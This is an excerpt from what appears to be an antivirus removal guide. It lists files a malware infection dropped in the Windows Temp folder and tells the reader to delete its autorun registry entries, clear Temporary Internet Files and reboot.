C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (36 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.conf (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Q7CSL60VI3\SecondL.exe (400 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Q7CSL60VI3\Sho9libi.exe.config (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Q7CSL60VI3\SecondL.exe.config (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\mTR6hbOp3O.exe (153905 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\mTR6hbOp3OYxeQjDX8EB.exe (60695 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"DNCSPQVK1UFX257" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\mTR6hbOp3O.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"OMEWPRODUCT_JKLKQ" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\mTR6hbOp3OYxeQjDX8EB.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"vcsau5ojtfz" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\odbaa1ufabw\evsjrdcflog.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.